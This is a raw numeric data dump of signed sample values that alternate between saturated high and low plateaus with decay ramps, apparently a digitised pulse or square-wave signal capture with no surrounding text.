+127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +108 +101 +95 +89 +84 +79 +74 +68 +64 +60 +56 +52 +50 +47 +44 +41 +40 +37 +35 +33 +32 +30 +29 +27 +26 +25 +25 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-99 +-92 +-85 +-78 +-72 +-67 +-61 +-54 +-49 +-44 +-40 +-35 +-32 +-30 +-26 +-23 +-20 +-18 +-16 +-13 +-12 +-11 +-9 +-7 +-4 +-3 +-1 +-1 +0 +1 +1 +2 +4 +4 +5 +5 +6 +6 +6 +7 +9 +9 +10 +10 +11 +10 +10 +11 +12 +11 +12 +12 +12 +11 +11 +12 +14 +13 +13 +13 +14 +13 +13 +13 +14 +14 +14 +13 +14 +13 +13 +13 +15 +15 +15 +14 +15 +15 +15 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +119 +112 +104 +98 +90 +85 +79 +73 +68 +64 +60 +56 +53 +50 +46 +45 +42 +40 +37 +36 +33 +32 +30 +29 +27 +26 +25 +25 +23 +22 +21 +20 +19 +18 +18 +17 +16 +16 +15 +15 +14 +14 +13 +13 +13 +13 +12 +12 +11 +12 +11 +11 +11 +11 +10 +10 +10 +11 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-111 +-101 +-93 +-86 +-79 +-72 +-67 +-62 +-56 +-49 +-45 +-41 +-37 +-33 +-30 +-27 +-24 +-21 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +67 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-98 +-90 +-83 +-76 +-70 +-64 +-59 +-53 +-48 +-43 +-39 +-34 +-31 +-28 +-26 +-23 +-20 +-17 +-16 +-13 +-11 +-9 +-9 +-7 +-5 +-3 +-2 +0 +1 +2 +2 +3 +4 +5 +5 +6 +7 +8 +7 +7 +8 +10 +10 +10 +10 +11 +11 +11 +11 +12 +12 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-107 +-98 +-90 +-83 +-76 +-69 +-64 +-60 +-54 +-48 +-43 +-39 +-35 +-31 +-28 +-26 +-23 +-20 +-17 +-15 +-13 +-11 +-9 +-9 +-7 +-5 +-3 +-2 +0 +1 +2 +2 +3 +4 +5 +6 +6 +6 +7 +7 +8 +9 +10 +10 +11 +11 +11 +11 +11 +11 +11 +12 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +110 +102 +96 +90 +85 +79 +74 +70 +66 +61 +58 +55 +51 +48 +46 +43 +41 +37 +36 +34 +32 +30 +29 +28 +27 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-100 +-92 +-84 +-78 +-72 +-66 +-60 +-55 +-49 +-44 +-39 +-36 +-33 +-30 +-26 +-24 +-21 +-18 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +103 +96 +90 +85 +79 +74 +69 +65 +61 +57 +54 +52 +48 +45 +43 +41 +38 +36 +34 +33 +30 +29 +27 +26 +24 +23 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-108 +-99 +-92 +-84 +-77 +-70 +-65 +-60 +-54 +-48 +-44 +-40 +-36 +-32 +-29 +-26 +-23 +-20 +-18 +-15 +-13 +-12 +-11 +-8 +-6 +-4 +-3 +-1 +0 +0 +0 +2 +3 +5 +6 +7 +7 +7 +6 +7 +7 +8 +9 +9 +9 +10 +9 +10 +11 +11 +11 +12 +12 +12 +11 +11 +12 +13 +13 +14 +14 +13 +13 +13 +13 +14 +13 +14 +14 +14 +13 +13 +14 +14 +14 +15 +15 +15 +15 +15 +14 +14 +15 +14 +52 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-107 +-99 +-91 +-83 +-75 +-69 +-63 +-58 +-53 +-48 +-43 +-38 +-35 +-32 +-28 +-25 +-22 +-20 +-17 +-15 +-13 +-12 +-10 +-9 +-7 +-5 +-3 +-1 +0 +1 +2 +3 +4 +4 +5 +6 +7 +7 +7 +7 +8 +8 +9 +10 +10 +10 +11 +11 +11 +10 +11 +12 +12 +11 +12 +11 +11 +11 +13 +13 +14 +13 +13 +13 +14 +14 +14 +14 +14 +14 +13 +12 +13 +13 +14 +14 +15 +15 +15 +14 +14 +15 +15 +14 +14 +15 +15 +13 +14 +14 +15 +15 +15 +15 +15 +13 +14 +14 +14 +13 +14 +14 +14 +13 +13 +14 +14 +14 +15 +15 +15 +14 +14 +15 +15 +14 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +102 +96 +89 +84 +78 +74 +69 +65 +61 +58 +54 +51 +48 +46 +43 +42 +39 +38 +35 +33 +31 +29 +27 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +115 +109 +101 +95 +88 +83 +78 +74 +68 +64 +61 +57 +53 +50 +47 +45 +42 +39 +37 +36 +33 +31 +30 +29 +27 +26 +24 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +42 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +57 +-39 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-37 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +103 +97 +91 +85 +79 +74 +69 +65 +60 +58 +53 +50 +47 +45 +42 +39 +37 +36 +33 +31 +30 +29 +27 +26 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +42 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +116 +108 +100 +94 +89 +83 +77 +73 +69 +65 +60 +57 +54 +50 +47 +44 +42 +40 +37 +35 +34 +33 +30 +29 +28 +27 +25 +24 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-85 +-78 +-71 +-66 +-61 +-55 +-49 +-44 +-39 +-36 +-33 +-29 +-26 +-23 +-20 +-18 +-15 +-13 +-12 +-11 +-9 +-7 +-5 +-4 +-2 +0 +1 +1 +2 +3 +5 +5 +6 +6 +7 +6 +6 +8 +10 +10 +11 +11 +11 +10 +11 +11 +11 +12 +12 +11 +12 +11 +11 +11 +13 +13 +13 +13 +14 +13 +13 +13 +14 +13 +14 +14 +14 +13 +13 +13 +15 +15 +15 +15 +15 +14 +14 +14 +15 +14 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +110 +102 +95 +88 +83 +72 +68 +65 +61 +57 +53 +51 +47 +45 +42 +40 +38 +36 +34 +33 +30 +29 +28 +27 +25 +24 +23 +23 +22 +21 +20 +19 +18 +18 +16 +16 +15 +15 +14 +14 +14 +14 +13 +13 +13 +12 +12 +13 +12 +12 +11 +12 +11 +11 +10 +11 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-110 +-100 +-92 +-84 +-78 +-72 +-67 +-61 +-56 +-50 +-45 +-41 +-38 +-33 +-30 +-27 +-24 +-21 +-18 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-107 +-98 +-90 +-82 +-75 +-69 +-63 +-59 +-54 +-48 +-43 +-39 +-35 +-32 +-28 +-25 +-22 +-20 +-17 +-14 +-12 +-11 +-9 +-9 +-7 +-5 +-4 +-2 +0 +0 +1 +1 +3 +3 +4 +5 +6 +7 +7 +6 +7 +8 +9 +9 +11 +11 +11 +10 +11 +12 +12 +11 +12 +51 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-103 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +61 +-35 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-98 +-90 +-83 +-76 +-70 +-63 +-59 +-54 +-49 +-43 +-38 +-35 +-32 +-28 +-25 +-22 +-20 +-17 +-15 +-12 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-106 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-98 +-89 +-82 +-74 +-68 +-63 +-58 +-52 +-47 +-43 +-38 +-33 +-30 +-27 +-24 +-21 +-19 +-16 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +102 +95 +89 +84 +77 +72 +68 +64 +60 +57 +53 +51 +48 +45 +42 +40 +38 +36 +34 +33 +30 +29 +27 +27 +25 +24 +22 +22 +21 +20 +19 +19 +17 +17 +16 +16 +15 +15 +14 +15 +14 +13 +13 +14 +13 +12 +12 +12 +12 +11 +11 +11 +10 +10 +10 +11 +10 +10 +10 +11 +10 +10 +10 +11 +10 +10 +9 +10 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +9 +8 +8 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +8 +8 +8 +9 +8 +9 +9 +10 +9 +9 +9 +10 +10 +11 +10 +10 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +8 +8 +9 +8 +8 +9 +9 +8 +9 +9 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +8 +8 +9 +9 +10 +10 +10 +9 +9 +9 +8 +8 +8 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +8 +8 +8 +9 +9 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +8 +9 +9 +8 +8 +8 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +8 +8 +8 +9 +9 +10 +10 +9 +8 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +10 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +9 +10 +10 +11 +11 +11 +9 +10 +8 +8 +-70 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-110 +-101 +-93 +-85 +-79 +-73 +-67 +-61 +-55 +-50 +-45 +-40 +-37 +-34 +-31 +-27 +-24 +-21 +-19 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-106 +-97 +-89 +-82 +-75 +-68 +-62 +-58 +-53 +-48 +-42 +-38 +-35 +-32 +-28 +-25 +-22 +-20 +-17 +-15 +-12 +-10 +-9 +-8 +-6 +-4 +-2 +-1 +0 +2 +3 +2 +4 +5 +6 +6 +7 +7 +8 +7 +7 +8 +10 +10 +10 +11 +11 +10 +11 +11 +12 +12 +12 +12 +12 +11 +11 +12 +13 +13 +14 +14 +14 +13 +13 +13 +14 +14 +14 +14 +15 +13 +13 +13 +15 +15 +15 +14 +15 +15 +14 +14 +15 +15 +15 +14 +14 +13 +13 +13 +14 +15 +15 +15 +14 +14 +15 +14 +14 +14 +15 +14 +14 +13 +14 +14 +14 +14 +15 +15 +14 +14 +14 +15 +15 +14 +15 +15 +14 +13 +13 +14 +15 +14 +15 +15 +15 +14 +14 +15 +15 +14 +14 +15 +14 +13 +13 +14 +15 +15 +15 +15 +15 +14 +14 +14 +15 +14 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-106 +-97 +-88 +-82 +-75 +-68 +-62 +-57 +-51 +-46 +-41 +-38 +-33 +-31 +-28 +-26 +-23 +-21 +-17 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-106 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-113 +-104 +-97 +-89 +-82 +-75 +-69 +-63 +-59 +-54 +-48 +-43 +-38 +-34 +-31 +-27 +-25 +-22 +-20 +-16 +-14 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +102 +95 +89 +84 +78 +73 +68 +65 +60 +57 +54 +51 +47 +45 +42 +40 +37 +36 +34 +32 +29 +28 +27 +27 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-84 +-77 +-70 +-66 +-61 +-55 +-48 +-44 +-39 +-36 +-32 +-29 +-26 +-23 +-20 +-18 +-15 +26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-17 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-114 +-106 +-98 +-89 +-81 +-75 +-69 +-63 +-58 +-53 +-48 +-43 +-38 +-34 +-31 +-28 +-25 +-22 +-19 +-17 +-15 +-12 +-10 +-9 +-9 +-6 +-4 +-3 +-2 +0 +1 +2 +2 +4 +4 +5 +5 +7 +7 +7 +6 +7 +8 +8 +9 +10 +10 +10 +10 +11 +11 +11 +12 +13 +13 +12 +10 +11 +12 +13 +13 +14 +13 +13 +13 +14 +13 +13 +13 +14 +14 +14 +12 +12 +13 +15 +14 +14 +14 +15 +14 +14 +14 +15 +14 +14 +15 +15 +14 +13 +14 +15 +15 +15 +15 +15 +15 +14 +14 +15 +15 +15 +15 +15 +14 +13 +13 +15 +15 +15 +14 +14 +15 +15 +14 +14 +14 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +111 +103 +98 +92 +86 +79 +74 +69 +65 +60 +57 +52 +50 +47 +44 +41 +40 +37 +36 +33 +33 +30 +29 +27 +27 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +108 +100 +95 +89 +84 +77 +73 +68 +65 +61 +57 +53 +51 +48 +46 +42 +40 +37 +36 +33 +31 +30 +29 +26 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-101 +-93 +-85 +-78 +-72 +-67 +-60 +-54 +-49 +-45 +-40 +-35 +-32 +-30 +-26 +-23 +-19 +-17 +-15 +-13 +-11 +-11 +-9 +-6 +-4 +-3 +-2 +0 +1 +2 +2 +3 +4 +5 +5 +6 +7 +6 +6 +8 +9 +9 +10 +10 +10 +9 +10 +11 +12 +11 +12 +12 +12 +11 +11 +12 +13 +13 +13 +13 +14 +13 +13 +13 +14 +14 +13 +13 +14 +12 +12 +13 +14 +15 +15 +14 +14 +14 +15 +14 +14 +14 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +109 +102 +96 +90 +85 +80 +76 +70 +66 +61 +58 +53 +50 +47 +44 +41 +40 +37 +35 +33 +32 +30 +29 +28 +27 +25 +24 +23 +22 +21 +20 +20 +19 +18 +18 +17 +16 +15 +15 +14 +14 +13 +13 +13 +12 +12 +13 +12 +11 +11 +12 +11 +11 +10 +11 +11 +11 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 